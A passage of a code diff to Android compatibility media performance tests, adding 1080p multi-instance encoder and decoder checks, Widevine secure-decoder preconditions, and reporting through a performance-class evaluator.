static final int REQUIRED_MIN_CONCURRENT_INSTANCES_FOR_VP9 = 2;
- // allowed tolerance in measured fps vs expected fps in percentage, i.e. codecs achieving fps
- // that is greater than (FPS_TOLERANCE_FACTOR * expectedFps) will be considered as
- // passing the test
- static final double FPS_TOLERANCE_FACTOR = 0.95;
+ static final int REQUIRED_MIN_CONCURRENT_SECURE_INSTANCES = 2;
+
static ArrayList<String> mMimeList = new ArrayList<>();
static Map<String, String> mTestFiles = new HashMap<>();
static Map<String, String> m720pTestFiles = new HashMap<>();
+ static Map<String, String> m1080pTestFiles = new HashMap<>();
+ static Map<String, String> m1080pWidevineTestFiles = new HashMap<>();
static {
mMimeList.add(MediaFormat.MIMETYPE_VIDEO_AVC);
@@ -57,22 +66,34 @@
m720pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_1280x720_3mbps_30fps_avc.mp4");
m720pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_1280x720_3mbps_30fps_hevc.mp4");
- // Test VP9 and AV1 as well for Build.VERSION_CODES.S
- if (Utils.isSPerfClass()) {
+ // Test VP9 and AV1 as well for Build.VERSION_CODES.S and beyond
+ if (Utils.getPerfClass() >= Build.VERSION_CODES.S) {
mMimeList.add(MediaFormat.MIMETYPE_VIDEO_VP9);
mMimeList.add(MediaFormat.MIMETYPE_VIDEO_AV1);
m720pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_1280x720_3mbps_30fps_vp9.webm");
m720pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AV1, "bbb_1280x720_3mbps_30fps_av1.mp4");
}
+ m1080pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_1920x1080_6mbps_30fps_avc.mp4");
+ m1080pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_1920x1080_4mbps_30fps_hevc.mp4");
+ m1080pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_1920x1080_4mbps_30fps_vp9.webm");
+ m1080pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AV1, "bbb_1920x1080_4mbps_30fps_av1.mp4");
+
+ m1080pWidevineTestFiles
+ .put(MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_1920x1080_6mbps_30fps_avc_cenc.mp4");
+ m1080pWidevineTestFiles
+ .put(MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_1920x1080_4mbps_30fps_hevc_cenc.mp4");
+ // TODO(b/230682028)
+ // m1080pWidevineTestFiles
+ // .put(MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_1920x1080_4mbps_30fps_vp9_cenc.webm");
+ m1080pWidevineTestFiles
+ .put(MediaFormat.MIMETYPE_VIDEO_AV1, "bbb_1920x1080_4mbps_30fps_av1_cenc.mp4");
}
String mMime;
String mTestFile;
final boolean mIsAsync;
- double mMaxFrameRate;
-
@Before
public void isPerformanceClassCandidate() {
Utils.assumeDeviceMeetsPerformanceClassPreconditions();
@@ -86,6 +107,11 @@
// Returns the list of hardware codecs for given mime
public static ArrayList<String> getHardwareCodecsForMime(String mime, boolean isEncoder) {
+ return getHardwareCodecsForMime(mime, isEncoder, false);
+ }
+
+ public static ArrayList<String> getHardwareCodecsForMime(String mime, boolean isEncoder,
+ boolean allCodecs) {
// All the multi-instance tests are limited to codecs that support at least 1280x720 @ 30fps
// This will exclude hevc constant quality encoders that are limited to max resolution of
// 512x512
@@ -93,13 +119,15 @@
fmt.setInteger(MediaFormat.KEY_FRAME_RATE, 30);
ArrayList<MediaFormat> formatsList = new ArrayList<>();
formatsList.add(fmt);
- return selectHardwareCodecs(mime, formatsList, null, isEncoder);
+ return selectHardwareCodecs(mime, formatsList, null, isEncoder, allCodecs);
}
// Returns the max number of 30 fps instances that the given list of mimeCodecPairs
- // supports. It also checks that the each codec supports 180 fps PerformancePoint.
+ // supports. It also checks that the each codec supports a PerformancePoint that covers
+ // required number of 30 fps instances.
public int checkAndGetMaxSupportedInstancesForCodecCombinations(int height, int width,
- ArrayList<Pair<String, String>> mimeCodecPairs) throws IOException {
+ ArrayList<Pair<String, String>> mimeCodecPairs, int requiredMinInstances)
+ throws IOException {
int[] maxInstances = new int[mimeCodecPairs.size()];
int[] maxFrameRates = new int[mimeCodecPairs.size()];
int[] maxMacroBlockRates = new int[mimeCodecPairs.size()];
@@ -112,7 +140,7 @@
assertTrue(pps.size() > 0);
boolean hasVP9 = mimeCodecPair.first.equals(MediaFormat.MIMETYPE_VIDEO_VP9);
- int requiredFrameRate = getRequiredMinConcurrentInstances(hasVP9) * 30;
+ int requiredFrameRate = requiredMinInstances * 30;
maxInstances[loopCount] = cap.getMaxSupportedInstances();
PerformancePoint PPRes = new PerformancePoint(width, height, requiredFrameRate);
@@ -144,20 +172,65 @@
int minOfMaxFrameRates = maxFrameRates[0];
int minOfMaxMacroBlockRates = maxMacroBlockRates[0];
- // Allow a tolerance in expected frame rate
- mMaxFrameRate = minOfMaxFrameRates * FPS_TOLERANCE_FACTOR;
-
// Calculate how many 30fps max instances it can support from it's mMaxFrameRate
// amd maxMacroBlockRate. (assuming 16x16 macroblocks)
return Math.min(minOfMaxInstances, Math.min((int) (minOfMaxFrameRates / 30.0),
(int) (minOfMaxMacroBlockRates / ((width / 16) * (height / 16)) / 30.0)));
}
- public int getRequiredMinConcurrentInstances(boolean hasVP9) {
+ public int getRequiredMinConcurrentInstances720p(boolean hasVP9) throws IOException {
// Below T, VP9 requires 60 fps at 720p and minimum of 2 instances
if (!Utils.isTPerfClass() && hasVP9) {
return REQUIRED_MIN_CONCURRENT_INSTANCES_FOR_VP9;
}
return REQUIRED_MIN_CONCURRENT_INSTANCES;
}
+
+ boolean isSecureSupportedCodec(String codecName, String mime) throws IOException {
+ boolean isSecureSupported;
+ MediaCodec codec = MediaCodec.createByCodecName(codecName);
+ isSecureSupported = codec.getCodecInfo().getCapabilitiesForType(mime).isFeatureSupported(
+ FEATURE_SecurePlayback);
+ codec.release();
+ return isSecureSupported;
+ }
+
+ boolean isWidevineSupported() {
+ return MediaDrm.isCryptoSchemeSupported(WIDEVINE_UUID);
+ }
+
+ boolean isWidevineL1Supported() throws UnsupportedSchemeException {
+ boolean isL1Supported = false;
+ if (isWidevineSupported()) {
+ MediaDrm mediaDrm = new MediaDrm(WIDEVINE_UUID);
+ isL1Supported = mediaDrm.getPropertyString("securityLevel").equals("L1");
+ mediaDrm.close();
+ }
+ return isL1Supported;
+ }
+
+ boolean isInternetAvailable() {
+ Context context = androidx.test.core.app.ApplicationProvider.getApplicationContext();
+ ConnectivityManager cm = context.getSystemService(ConnectivityManager.class);
+ NetworkCapabilities cap = cm.getNetworkCapabilities(cm.getActiveNetwork());
+ if (cap == null) return false;
+ return cap.hasCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET);
+ }
+
+ boolean meetsSecureDecodePreconditions() throws UnsupportedSchemeException {
+ Assume.assumeTrue("Skipping secure decoder performance tests as Widevine is not supported",
+ isWidevineSupported());
+
+ if (Utils.isTPerfClass()) {
+ assertTrue("If Widevine is supported, L1 support is required for media performance " +
+ "class T devices",
+ isWidevineL1Supported());
+ assertTrue("Test requires internet connection for validating secure decoder " +
+ "requirements for media performance class T devices",
+ isInternetAvailable());
+ return true;
+ }
+
+ return isWidevineL1Supported() && isInternetAvailable();
+ }
}
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiDecoderPairPerfTest.java b/tests/mediapc/src/android/mediapc/cts/MultiDecoderPairPerfTest.java
index 31c069f..9638882 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiDecoderPairPerfTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiDecoderPairPerfTest.java
@@ -19,20 +19,18 @@
import static org.junit.Assert.assertTrue;
import android.media.MediaFormat;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
import android.mediapc.cts.common.Utils;
-import android.os.Build;
import android.util.Pair;
import androidx.test.filters.LargeTest;
-import androidx.test.platform.app.InstrumentationRegistry;
import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
import org.junit.Assume;
+import org.junit.Rule;
import org.junit.Test;
+import org.junit.rules.TestName;
import org.junit.runner.RunWith;
import org.junit.runners.Parameterized;
@@ -55,6 +53,7 @@
@RunWith(Parameterized.class)
public class MultiDecoderPairPerfTest extends MultiCodecPerfTestBase {
private static final String LOG_TAG = MultiDecoderPairPerfTest.class.getSimpleName();
+ private static final int REQUIRED_CONCURRENT_NON_SECURE_INSTANCES_WITH_SECURE = 3;
private final Pair<String, String> mFirstPair;
private final Pair<String, String> mSecondPair;
@@ -66,6 +65,9 @@
mSecondPair = secondPair;
}
+ @Rule
+ public final TestName mTestName = new TestName();
+
// Returns the list of params with two hardware (mime - decoder) pairs in both
// sync and async modes.
// Parameters {0}_{1}_{2} -- Pair(Mime DecoderName)_Pair(Mime DecoderName)_isAsync
@@ -74,7 +76,7 @@
final List<Object[]> argsList = new ArrayList<>();
ArrayList<Pair<String, String>> mimeTypeDecoderPairs = new ArrayList<>();
for (String mime : mMimeList) {
- ArrayList<String> listOfDecoders = getHardwareCodecsForMime(mime, false);
+ ArrayList<String> listOfDecoders = getHardwareCodecsForMime(mime, false, true);
for (String decoder : listOfDecoders) {
mimeTypeDecoderPairs.add(Pair.create(mime, decoder));
}
@@ -102,63 +104,120 @@
@CddTest(requirement = "2.2.7.1/5.1/H-1-1,H-1-2")
public void test720p() throws Exception {
Assume.assumeTrue(Utils.isSPerfClass() || Utils.isRPerfClass() || !Utils.isPerfClass());
+ Assume.assumeFalse("Skipping regular performance tests for secure codecs",
+ isSecureSupportedCodec(mFirstPair.second, mFirstPair.first) ||
+ isSecureSupportedCodec(mSecondPair.second, mSecondPair.first));
boolean hasVP9 = mFirstPair.first.equals(MediaFormat.MIMETYPE_VIDEO_VP9) ||
mSecondPair.first.equals(MediaFormat.MIMETYPE_VIDEO_VP9);
- int requiredMinInstances = getRequiredMinConcurrentInstances(hasVP9);
+ int requiredMinInstances = getRequiredMinConcurrentInstances720p(hasVP9);
testCodec(m720pTestFiles, 720, 1280, requiredMinInstances);
}
+ /**
+ * This test calculates the number of 1080p 30 fps decoder instances that the given two
+ * (mime - decoder) pairs can support. Assigns the same number of instances to the two pairs
+ * (if max instances are even), or one more to one pair (if odd) and ensures that all the
+ * concurrent sessions succeed in decoding with meeting the expected frame rate.
+ */
+ @LargeTest
+ @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+ @CddTest(requirements = {
+ "2.2.7.1/5.1/H-1-1",
+ "2.2.7.1/5.1/H-1-2",
+ "2.2.7.1/5.1/H-1-9",
+ "2.2.7.1/5.1/H-1-10",})
+ public void test1080p() throws Exception {
+ Assume.assumeTrue(Utils.isTPerfClass() || !Utils.isPerfClass());
+ boolean isFirstSecure = isSecureSupportedCodec(mFirstPair.second, mFirstPair.first);
+ boolean isSecondSecure = isSecureSupportedCodec(mSecondPair.second, mSecondPair.first);
+ boolean onlyOneSecure = isFirstSecure ^ isSecondSecure;
+ boolean bothSecure = isFirstSecure & isSecondSecure;
+
+ if (bothSecure) {
+ testCodec(null, 1080, 1920, REQUIRED_MIN_CONCURRENT_SECURE_INSTANCES);
+ } else if (onlyOneSecure) {
+ testCodec(m1080pTestFiles, 1080, 1920,
+ REQUIRED_CONCURRENT_NON_SECURE_INSTANCES_WITH_SECURE + 1);
+ } else {
+ testCodec(m1080pTestFiles, 1080, 1920, REQUIRED_MIN_CONCURRENT_INSTANCES);
+ }
+ }
+
private void testCodec(Map<String, String> testFiles, int height, int width,
int requiredMinInstances) throws Exception {
mTestFiles = testFiles;
ArrayList<Pair<String, String>> mimeDecoderPairs = new ArrayList<>();
mimeDecoderPairs.add(mFirstPair);
mimeDecoderPairs.add(mSecondPair);
+ boolean isFirstSecure = isSecureSupportedCodec(mFirstPair.second, mFirstPair.first);
+ boolean isSecondSecure = isSecureSupportedCodec(mSecondPair.second, mSecondPair.first);
+ boolean secureWithUnsecure = isFirstSecure ^ isSecondSecure;
+ boolean bothSecure = isFirstSecure & isSecondSecure;
int maxInstances = checkAndGetMaxSupportedInstancesForCodecCombinations(height, width,
- mimeDecoderPairs);
+ mimeDecoderPairs, requiredMinInstances);
double achievedFrameRate = 0.0;
- if (maxInstances >= requiredMinInstances) {
+ boolean meetsPreconditions = (isFirstSecure || isSecondSecure) ?
+ meetsSecureDecodePreconditions() : true;
+ // secure test should not reach this point if secure codec doesn't support PP
+ if (meetsPreconditions && (maxInstances >= requiredMinInstances || secureWithUnsecure)) {
int secondPairInstances = maxInstances / 2;
int firstPairInstances = maxInstances - secondPairInstances;
- ExecutorService pool = Executors.newFixedThreadPool(maxInstances);
+ if (secureWithUnsecure) {
+ firstPairInstances =
+ isSecureSupportedCodec(mFirstPair.second, mFirstPair.first) ? 1 : 3;
+ secondPairInstances = requiredMinInstances - firstPairInstances;
+ maxInstances = requiredMinInstances;
+ }
List<Decode> testList = new ArrayList<>();
for (int i = 0; i < firstPairInstances; i++) {
- testList.add(new Decode(mFirstPair.first, mTestFiles.get(mFirstPair.first),
- mFirstPair.second, mIsAsync));
+ boolean isSecure = isFirstSecure;
+ String testFile = isSecure ? m1080pWidevineTestFiles.get(mFirstPair.first) :
+ mTestFiles.get(mFirstPair.first);
+ Assume.assumeTrue("Add " + (isSecure ? "secure" : "") + " test vector for mime: " +
+ mFirstPair.first, testFile != null);
+ testList.add(new Decode(mFirstPair.first, testFile, mFirstPair.second, mIsAsync,
+ isSecure));
}
for (int i = 0; i < secondPairInstances; i++) {
- testList.add(new Decode(mSecondPair.first, mTestFiles.get(mSecondPair.first),
- mSecondPair.second, mIsAsync));
+ boolean isSecure = isSecondSecure;
+ String testFile = isSecure ? m1080pWidevineTestFiles.get(mSecondPair.first) :
+ mTestFiles.get(mSecondPair.first);
+ Assume.assumeTrue("Add " + (isSecure ? "secure" : "") + " test vector for mime: " +
+ mSecondPair.first, testFile != null);
+ testList.add(new Decode(mSecondPair.first, testFile, mSecondPair.second,
+ mIsAsync, isSecure));
}
+ ExecutorService pool = Executors.newFixedThreadPool(maxInstances);
List<Future<Double>> resultList = pool.invokeAll(testList);
for (Future<Double> result : resultList) {
achievedFrameRate += result.get();
}
}
- if (Utils.isPerfClass()) {
- assertTrue("Decoder pair " + mFirstPair.second + " and " + mSecondPair.second
- + " unable to support minimum concurrent " +
- "instances. act/exp: " + maxInstances + "/" + requiredMinInstances,
- maxInstances >= requiredMinInstances);
- assertTrue("Unable to achieve the maxFrameRate supported. act/exp: " + achievedFrameRate
- + "/" + mMaxFrameRate + " for " + maxInstances + " instances.",
- achievedFrameRate >= mMaxFrameRate);
+ PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+ if (secureWithUnsecure) {
+ PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_10 =
+ pce.addR5_1__H_1_10();
+ r5_1__H_1_10.setConcurrentFps(achievedFrameRate);
+ } else if (bothSecure) {
+ PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_9 = pce.addR5_1__H_1_9();
+ r5_1__H_1_9.setConcurrentFps(achievedFrameRate);
} else {
- int pc = maxInstances >= requiredMinInstances && achievedFrameRate >= mMaxFrameRate
- ? Build.VERSION_CODES.R : 0;
- DeviceReportLog log = new DeviceReportLog("MediaPerformanceClassLogs",
- "MultiDecoderPairPerf_" + mFirstPair.second);
- log.addValue("decoders",
- mFirstPair.first + "_" + mFirstPair.second + "_" + mSecondPair.first + "_"
- + mSecondPair.second, ResultType.NEUTRAL, ResultUnit.NONE);
- log.addValue("achieved_framerate", achievedFrameRate, ResultType.HIGHER_BETTER,
- ResultUnit.NONE);
- log.addValue("expected_framerate", mMaxFrameRate, ResultType.NEUTRAL, ResultUnit.NONE);
- log.setSummary("CDD 2.2.7.1/5.1/H-1-1,H-1-2 performance_class", pc, ResultType.NEUTRAL,
- ResultUnit.NONE);
- log.submit(InstrumentationRegistry.getInstrumentation());
+ PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_1;
+ PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_2;
+ if (height >= 1080) {
+ r5_1__H_1_1 = pce.addR5_1__H_1_1_1080p();
+ r5_1__H_1_2 = pce.addR5_1__H_1_2_1080p();
+ r5_1__H_1_1.setConcurrentInstances(maxInstances);
+ r5_1__H_1_2.setConcurrentFps(achievedFrameRate);
+ } else {
+ r5_1__H_1_1 = pce.addR5_1__H_1_1_720p(mMime, mMime, height);
+ r5_1__H_1_2 = pce.addR5_1__H_1_2_720p(mMime, mMime, height);
+ r5_1__H_1_1.setConcurrentInstances(maxInstances);
+ r5_1__H_1_2.setConcurrentFps(achievedFrameRate);
+ }
}
+ pce.submitAndCheck();
}
}
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiDecoderPerfTest.java b/tests/mediapc/src/android/mediapc/cts/MultiDecoderPerfTest.java
index 1c1aeea..f67684e 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiDecoderPerfTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiDecoderPerfTest.java
@@ -16,26 +16,12 @@
package android.mediapc.cts;
-import static org.junit.Assert.assertTrue;
-
import android.media.MediaFormat;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
import android.mediapc.cts.common.Utils;
-import android.os.Build;
import android.util.Pair;
-
import androidx.test.filters.LargeTest;
-import androidx.test.platform.app.InstrumentationRegistry;
-
import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-
-import org.junit.Assume;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-
import java.util.ArrayList;
import java.util.Collection;
import java.util.List;
@@ -43,6 +29,12 @@
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.Future;
+import org.junit.Assume;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
/**
* The following test class validates the maximum number of concurrent decode sessions that it can
@@ -61,6 +53,9 @@
mDecoderName = decoderName;
}
+ @Rule
+ public final TestName mTestName = new TestName();
+
// Returns the params list with the mime and corresponding hardware decoders in
// both sync and async modes.
// Parameters {0}_{1}_{2} -- Mime_DecoderName_isAsync
@@ -68,7 +63,7 @@
public static Collection<Object[]> inputParams() {
final List<Object[]> argsList = new ArrayList<>();
for (String mime : mMimeList) {
- ArrayList<String> listOfDecoders = getHardwareCodecsForMime(mime, false);
+ ArrayList<String> listOfDecoders = getHardwareCodecsForMime(mime, false, true);
for (String decoder : listOfDecoders) {
for (boolean isAsync : boolStates) {
argsList.add(new Object[]{mime, decoder, isAsync});
@@ -88,52 +83,78 @@
@CddTest(requirement = "2.2.7.1/5.1/H-1-1,H-1-2")
public void test720p() throws Exception {
Assume.assumeTrue(Utils.isSPerfClass() || Utils.isRPerfClass() || !Utils.isPerfClass());
-
+ Assume.assumeFalse("Skipping regular performance tests for secure codecs",
+ isSecureSupportedCodec(mDecoderName, mMime));
boolean hasVP9 = mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9);
- int requiredMinInstances = getRequiredMinConcurrentInstances(hasVP9);
+ int requiredMinInstances = getRequiredMinConcurrentInstances720p(hasVP9);
testCodec(m720pTestFiles, 720, 1280, requiredMinInstances);
}
+ /**
+ * This test validates that the decoder can support at least 6 non-secure/2 secure concurrent
+ * 1080p 30fps decoder instances. Also ensures that all the concurrent sessions succeed in
+ * decoding with meeting the expected frame rate.
+ */
+ @LargeTest
+ @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+ @CddTest(requirements = {
+ "2.2.7.1/5.1/H-1-1",
+ "2.2.7.1/5.1/H-1-2",
+ "2.2.7.1/5.1/H-1-9",})
+ public void test1080p() throws Exception {
+ Assume.assumeTrue(Utils.isTPerfClass() || !Utils.isPerfClass());
+ if (isSecureSupportedCodec(mDecoderName, mMime)) {
+ testCodec(m1080pWidevineTestFiles, 1080, 1920,
+ REQUIRED_MIN_CONCURRENT_SECURE_INSTANCES);
+ } else {
+ testCodec(m1080pTestFiles, 1080, 1920, REQUIRED_MIN_CONCURRENT_INSTANCES);
+ }
+ }
+
private void testCodec(Map<String, String> testFiles, int height, int width,
int requiredMinInstances) throws Exception {
mTestFile = testFiles.get(mMime);
+ Assume.assumeTrue("Add test vector for mime: " + mMime, mTestFile != null);
ArrayList<Pair<String, String>> mimeDecoderPairs = new ArrayList<>();
mimeDecoderPairs.add(Pair.create(mMime, mDecoderName));
+ boolean isSecure = isSecureSupportedCodec(mDecoderName, mMime);
int maxInstances =
checkAndGetMaxSupportedInstancesForCodecCombinations(height, width,
- mimeDecoderPairs);
+ mimeDecoderPairs, requiredMinInstances);
double achievedFrameRate = 0.0;
- if (maxInstances >= requiredMinInstances) {
+ boolean meetsPreconditions = isSecure ? meetsSecureDecodePreconditions() : true;
+
+ if (meetsPreconditions && maxInstances >= requiredMinInstances) {
ExecutorService pool = Executors.newFixedThreadPool(maxInstances);
List<Decode> testList = new ArrayList<>();
for (int i = 0; i < maxInstances; i++) {
- testList.add(new Decode(mMime, mTestFile, mDecoderName, mIsAsync));
+ testList.add(new Decode(mMime, mTestFile, mDecoderName, mIsAsync, isSecure));
}
List<Future<Double>> resultList = pool.invokeAll(testList);
for (Future<Double> result : resultList) {
achievedFrameRate += result.get();
}
}
- if (Utils.isPerfClass()) {
- assertTrue("Decoder " + mDecoderName + " unable to support minimum concurrent " +
- "instances. act/exp: " + maxInstances + "/" + requiredMinInstances,
- maxInstances >= requiredMinInstances);
- assertTrue("Unable to achieve the maxFrameRate supported. act/exp: " + achievedFrameRate
- + "/" + mMaxFrameRate + " for " + maxInstances + " instances.",
- achievedFrameRate >= mMaxFrameRate);
+
+ PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+ if (isSecure) {
+ PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_9 = pce.addR5_1__H_1_9();
+ r5_1__H_1_9.setConcurrentFps(achievedFrameRate);
} else {
- int pc = maxInstances >= requiredMinInstances && achievedFrameRate >= mMaxFrameRate
- ? Build.VERSION_CODES.R : 0;
- DeviceReportLog log = new DeviceReportLog("MediaPerformanceClassLogs",
- "MultiDecoderPerf_" + mDecoderName);
- log.addValue("decoders", mMime + "_" + mDecoderName, ResultType.NEUTRAL,
- ResultUnit.NONE);
- log.addValue("achieved_framerate", achievedFrameRate, ResultType.HIGHER_BETTER,
- ResultUnit.NONE);
- log.addValue("expected_framerate", mMaxFrameRate, ResultType.NEUTRAL, ResultUnit.NONE);
- log.setSummary("CDD 2.2.7.1/5.1/H-1-1,H-1-2 performance_class", pc, ResultType.NEUTRAL,
- ResultUnit.NONE);
- log.submit(InstrumentationRegistry.getInstrumentation());
+ PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_1;
+ PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_2;
+ if (height >= 1080) {
+ r5_1__H_1_1 = pce.addR5_1__H_1_1_1080p();
+ r5_1__H_1_2 = pce.addR5_1__H_1_2_1080p();
+ r5_1__H_1_1.setConcurrentInstances(maxInstances);
+ r5_1__H_1_2.setConcurrentFps(achievedFrameRate);
+ } else {
+ r5_1__H_1_1 = pce.addR5_1__H_1_1_720p(mMime, mMime, height);
+ r5_1__H_1_2 = pce.addR5_1__H_1_2_720p(mMime, mMime, height);
+ r5_1__H_1_1.setConcurrentInstances(maxInstances);
+ r5_1__H_1_2.setConcurrentFps(achievedFrameRate);
+ }
}
+ pce.submitAndCheck();
}
}
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiEncoderPairPerfTest.java b/tests/mediapc/src/android/mediapc/cts/MultiEncoderPairPerfTest.java
index edc2d6c..1997c6b 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiEncoderPairPerfTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiEncoderPairPerfTest.java
@@ -16,24 +16,19 @@
package android.mediapc.cts;
-import static org.junit.Assert.assertTrue;
-
import android.media.MediaFormat;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
import android.mediapc.cts.common.Utils;
-import android.os.Build;
-import android.util.Log;
import android.util.Pair;
import androidx.test.filters.LargeTest;
-import androidx.test.platform.app.InstrumentationRegistry;
import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
import org.junit.Assume;
+import org.junit.Rule;
import org.junit.Test;
+import org.junit.rules.TestName;
import org.junit.runner.RunWith;
import org.junit.runners.Parameterized;
@@ -66,6 +61,9 @@
mSecondPair = secondPair;
}
+ @Rule
+ public final TestName mTestName = new TestName();
+
// Returns the list of params with two hardware (mime - encoder) pairs in both
// sync and async modes.
// Parameters {0}_{1}_{2} -- Pair(Mime EncoderName)_Pair(Mime EncoderName)_isAsync
@@ -105,17 +103,31 @@
boolean hasVP9 = mFirstPair.first.equals(MediaFormat.MIMETYPE_VIDEO_VP9) ||
mSecondPair.first.equals(MediaFormat.MIMETYPE_VIDEO_VP9);
- int requiredMinInstances = getRequiredMinConcurrentInstances(hasVP9);
+ int requiredMinInstances = getRequiredMinConcurrentInstances720p(hasVP9);
testCodec(720, 1280, 4000000, requiredMinInstances);
}
+ /**
+ * This test calculates the number of 1080p 30 fps encoder instances that the given two
+ * (mime - encoder) pairs can support. Assigns the same number of instances to the two pairs
+ * (if max instances are even), or one more to one pair (if odd) and ensures that all the
+ * concurrent sessions succeed in encoding.
+ */
+ @LargeTest
+ @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+ @CddTest(requirement = "2.2.7.1/5.1/H-1-3,H-1-4")
+ public void test1080p() throws Exception {
+ Assume.assumeTrue(Utils.isTPerfClass() || !Utils.isPerfClass());
+ testCodec(1080, 1920, 10000000, REQUIRED_MIN_CONCURRENT_INSTANCES);
+ }
+
private void testCodec(int height, int width, int bitrate, int requiredMinInstances)
throws Exception {
ArrayList<Pair<String, String>> mimeEncoderPairs = new ArrayList<>();
mimeEncoderPairs.add(mFirstPair);
mimeEncoderPairs.add(mSecondPair);
int maxInstances = checkAndGetMaxSupportedInstancesForCodecCombinations(height, width,
- mimeEncoderPairs);
+ mimeEncoderPairs, requiredMinInstances);
double achievedFrameRate = 0.0;
if (maxInstances >= requiredMinInstances) {
int secondPairInstances = maxInstances / 2;
@@ -137,22 +149,22 @@
achievedFrameRate += result.get();
}
}
- if (Utils.isPerfClass()) {
- assertTrue("Encoder pair " + mFirstPair.second + " and " + mSecondPair.second
- + " unable to support minimum concurrent instances. act/exp: " + maxInstances
- + "/" + requiredMinInstances, maxInstances >= requiredMinInstances);
- Log.v(LOG_TAG, "Achieved fps: " + achievedFrameRate +
- "\nAchieved frame rate is not compared as this test runs in byte buffer mode");
+ PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+ PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_3;
+ PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_4;
+ // Achieved frame rate is not compared as this test runs in byte buffer mode.
+ if (height >= 1080) {
+ r5_1__H_1_3 = pce.addR5_1__H_1_3_1080p();
+ r5_1__H_1_4 = pce.addR5_1__H_1_4_1080p();
+ r5_1__H_1_3.setConcurrentInstances(maxInstances);
+ r5_1__H_1_4.setConcurrentFps(achievedFrameRate);
} else {
- int pc = maxInstances >= requiredMinInstances ? Build.VERSION_CODES.R : 0;
- DeviceReportLog log = new DeviceReportLog("MediaPerformanceClassLogs",
- "MultiEncoderPairPerf_" + mFirstPair.second);
- log.addValue("encoders",
- mFirstPair.first + "_" + mFirstPair.second + "_" + mSecondPair.first + "_"
- + mSecondPair.second, ResultType.NEUTRAL, ResultUnit.NONE);
- log.setSummary("CDD 2.2.7.1/5.1/H-1-3,H-1-4 performance_class", pc, ResultType.NEUTRAL,
- ResultUnit.NONE);
- log.submit(InstrumentationRegistry.getInstrumentation());
+ r5_1__H_1_3 = pce.addR5_1__H_1_3_720p(mMime, mMime, height);
+ r5_1__H_1_4 = pce.addR5_1__H_1_4_720p();
+ r5_1__H_1_3.setConcurrentInstances(maxInstances);
+ r5_1__H_1_4.setConcurrentFps(achievedFrameRate);
}
+
+ pce.submitAndCheck();
}
}
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiEncoderPerfTest.java b/tests/mediapc/src/android/mediapc/cts/MultiEncoderPerfTest.java
index 3a2f1d9..66afa89 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiEncoderPerfTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiEncoderPerfTest.java
@@ -16,24 +16,19 @@
package android.mediapc.cts;
-import static org.junit.Assert.assertTrue;
-
import android.media.MediaFormat;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
import android.mediapc.cts.common.Utils;
-import android.os.Build;
-import android.util.Log;
import android.util.Pair;
import androidx.test.filters.LargeTest;
-import androidx.test.platform.app.InstrumentationRegistry;
import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
import org.junit.Assume;
+import org.junit.Rule;
import org.junit.Test;
+import org.junit.rules.TestName;
import org.junit.runner.RunWith;
import org.junit.runners.Parameterized;
@@ -62,6 +57,9 @@
mEncoderName = encoderName;
}
